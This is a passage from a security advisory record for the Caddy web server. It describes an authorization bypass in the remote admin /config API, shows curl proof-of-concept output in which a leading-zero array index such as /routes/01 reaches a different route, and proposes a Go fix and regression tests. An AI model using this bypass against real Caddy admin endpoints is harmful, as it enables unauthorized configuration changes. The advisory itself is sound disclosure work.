OK\n\u003c Date: Fri, 20 Mar 2026 02:15:39 GMT\n\u003c Content-Length: 0\n\u003c Connection: close\n\u003c \n* Closing connection\n* TLSv1.3 (IN), TLS alert, close notify (256):\n* TLSv1.3 (OUT), TLS alert, close notify (256):\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0\"\n\u003c Date: Fri, 20 Mar 2026 02:15:49 GMT\n\u003c Content-Length: 70\n\u003c \n{\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# \n```\n\n  ## Suggested Fix\n\n  The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path.\n\n  A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization.\n\n  For example:\n\n  - allow 0\n  - allow 1\n  - reject 01\n  - reject 002\n\n  One possible helper:\n\n```\n  func parseCanonicalIndex(s string) (int, error) {\n  \tif s == \"\" {\n  \t\treturn 0, fmt.Errorf(\"empty index\")\n  \t}\n  \tif s != \"0\" \u0026\u0026 strings.HasPrefix(s, \"0\") {\n  \t\treturn 0, fmt.Errorf(\"non-canonical array index\")\n  \t}\n  \treturn strconv.Atoi(s)\n  }\n```\n\n  Then use that helper anywhere /config array indices are parsed.\n\n  ## Why This Fix Makes Sense\n\n  This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit.\n\n  It would still allow:\n\n  - /routes/0\n  - /routes/1\n\n  but reject:\n\n  - /routes/01\n  - /routes/002\n\n  That removes the authorization/resource mismatch.\n\n  ## Suggested Regression Tests\n\n  1. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed.\n  2. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid.\n  3. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid.\n  4. With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].",
  "id": "GHSA-x5w9-xh9r-mvfc",
  "modified": "2026-05-19T15:51:31Z",
  "published": "2026-05-19T15:51:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-x5w9-xh9r-mvfc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: Remote Admin Authorization Bypass in `/config` API via Array Index Normalization"
}